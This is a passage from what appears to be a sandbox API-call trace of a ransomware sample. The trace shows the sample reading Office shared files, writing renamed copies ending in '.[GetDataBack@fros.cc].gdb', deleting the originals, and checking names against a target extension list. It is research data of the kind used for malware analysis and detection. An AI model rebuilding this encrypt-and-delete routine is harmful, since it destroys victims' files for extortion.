lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xffff0, lpOverlapped=0x0) returned 1 [0122.078] WriteFile (in: hFile=0x218, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xffff0, lpOverlapped=0x0) returned 1 [0122.384] ReadFile (in: hFile=0x200, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x20ec8, lpOverlapped=0x0) returned 1 [0122.396] WriteFile (in: hFile=0x218, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x20ed0, lpOverlapped=0x0) returned 1 [0122.401] ReadFile (in: hFile=0x200, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0122.401] WriteFile (in: hFile=0x218, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0122.401] SetEndOfFile (hFile=0x218) returned 1 [0122.401] CloseHandle (hObject=0x218) returned 1 [0122.594] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0122.594] SetEndOfFile (hFile=0x200) returned 1 [0122.595] CloseHandle (hObject=0x200) returned 1 [0122.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".doc") returned 4 [0122.596] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".docx") returned 5 [0122.596] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0122.596] lstrlenW (lpString=".pdf") returned 4 [0122.596] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".xls") returned 4 [0122.596] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0122.596] lstrlenW (lpString=".xlsx") returned 5 [0122.596] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0122.596] lstrlenW (lpString=".ppt") returned 4 [0122.596] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".zip") returned 4 [0122.596] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0122.596] lstrlenW (lpString=".rar") returned 4 [0122.596] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".bz2") returned 4 [0122.596] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".7z") returned 3 [0122.596] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".dbf") returned 4 [0122.596] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".1cd") returned 4 [0122.596] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".jpg") returned 4 [0122.596] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.596] lstrlenW (lpString=".doc") returned 4 [0122.596] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".docx") returned 5 [0122.596] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0122.596] lstrlenW (lpString=".pdf") returned 4 [0122.596] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0122.596] lstrlenW (lpString=".xls") returned 4 [0122.597] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0122.597] lstrlenW (lpString=".xlsx") returned 5 [0122.597] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0122.597] lstrlenW (lpString=".ppt") returned 4 [0122.597] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0122.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.597] lstrlenW (lpString=".zip") returned 4 [0122.597] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0122.597] lstrlenW (lpString=".rar") returned 4 [0122.597] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0122.597] lstrlenW (lpString=".bz2") returned 4 [0122.597] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0122.597] lstrlenW (lpString=".7z") returned 3 [0122.597] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0122.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.597] lstrlenW (lpString=".dbf") returned 4 [0122.597] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0122.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.597] lstrlenW (lpString=".1cd") returned 4 [0122.597] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0122.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0122.597] lstrlenW (lpString=".jpg") returned 4 [0122.597] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0122.597] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0122.597] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0122.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.880] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=34916) returned 1 [0123.880] CloseHandle (hObject=0x1cc) returned 1 [0123.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0123.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.880] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.880] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0123.881] GetLastError () returned 0x0 [0123.881] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x8864, lpOverlapped=0x0) returned 1 [0123.883] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x8870, lpOverlapped=0x0) returned 1 [0123.885] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.885] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0123.885] SetEndOfFile (hFile=0x224) returned 1 [0123.885] CloseHandle (hObject=0x224) returned 1 [0123.886] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.886] SetEndOfFile (hFile=0x1cc) returned 1 [0123.887] CloseHandle (hObject=0x1cc) returned 1 [0123.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.888] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0123.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.888] lstrlenW (lpString=".doc") returned 4 [0123.888] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.888] lstrlenW (lpString=".docx") returned 5 [0123.888] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.888] lstrlenW (lpString=".pdf") returned 4 [0123.888] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.888] lstrlenW (lpString=".xls") returned 4 [0123.888] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.888] lstrlenW (lpString=".xlsx") returned 5 [0123.888] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.888] lstrlenW (lpString=".ppt") returned 4 [0123.888] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.888] lstrlenW (lpString=".zip") returned 4 [0123.888] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.888] lstrlenW (lpString=".rar") returned 4 [0123.888] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.888] lstrlenW (lpString=".bz2") returned 4 [0123.888] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.888] lstrlenW (lpString=".7z") returned 3 [0123.888] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".dbf") returned 4 [0123.889] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".1cd") returned 4 [0123.889] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".jpg") returned 4 [0123.889] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".doc") returned 4 [0123.889] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString=".docx") returned 5 [0123.889] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.889] lstrlenW (lpString=".pdf") returned 4 [0123.889] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString=".xls") returned 4 [0123.889] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.889] lstrlenW (lpString=".xlsx") returned 5 [0123.889] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.889] lstrlenW (lpString=".ppt") returned 4 [0123.889] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".zip") returned 4 [0123.889] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.889] lstrlenW (lpString=".rar") returned 4 [0123.889] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.889] lstrlenW (lpString=".bz2") returned 4 [0123.889] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.889] lstrlenW (lpString=".7z") returned 3 [0123.889] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.889] lstrlenW (lpString=".dbf") returned 4 [0123.890] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.890] lstrlenW (lpString=".1cd") returned 4 [0123.890] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0123.890] lstrlenW (lpString=".jpg") returned 4 [0123.890] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.890] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.890] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.890] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2722) returned 1 [0123.890] CloseHandle (hObject=0x1cc) returned 1 [0123.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0123.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.891] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.891] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0123.893] GetLastError () returned 0x0 [0123.893] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xaa2, lpOverlapped=0x0) returned 1 [0123.895] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xab0, lpOverlapped=0x0) returned 1 [0123.896] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.896] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0123.896] SetEndOfFile (hFile=0x224) returned 1 [0123.896] CloseHandle (hObject=0x224) returned 1 [0123.897] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.897] SetEndOfFile (hFile=0x1cc) returned 1 [0123.897] CloseHandle (hObject=0x1cc) returned 1 [0123.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0123.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.898] lstrlenW (lpString=".doc") returned 4 [0123.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.898] lstrlenW (lpString=".docx") returned 5 [0123.898] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.898] lstrlenW (lpString=".pdf") returned 4 [0123.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.898] lstrlenW (lpString=".xls") returned 4 [0123.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.898] lstrlenW (lpString=".xlsx") returned 5 [0123.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.898] lstrlenW (lpString=".ppt") returned 4 [0123.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.898] lstrlenW (lpString=".zip") returned 4 [0123.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.898] lstrlenW (lpString=".rar") returned 4 [0123.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.898] lstrlenW (lpString=".bz2") returned 4 [0123.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.898] lstrlenW (lpString=".7z") returned 3 [0123.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".dbf") returned 4 [0123.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".1cd") returned 4 [0123.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".jpg") returned 4 [0123.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".doc") returned 4 [0123.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.899] lstrlenW (lpString=".docx") returned 5 [0123.899] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.899] lstrlenW (lpString=".pdf") returned 4 [0123.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString=".xls") returned 4 [0123.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString=".xlsx") returned 5 [0123.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.899] lstrlenW (lpString=".ppt") returned 4 [0123.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".zip") returned 4 [0123.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString=".rar") returned 4 [0123.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.899] lstrlenW (lpString=".bz2") returned 4 [0123.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.899] lstrlenW (lpString=".7z") returned 3 [0123.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".dbf") returned 4 [0123.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.899] lstrlenW (lpString=".1cd") returned 4 [0123.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0123.900] lstrlenW (lpString=".jpg") returned 4 [0123.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.900] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.900] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.901] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=43276) returned 1 [0123.901] CloseHandle (hObject=0x1cc) returned 1 [0123.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0123.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.901] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.901] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft 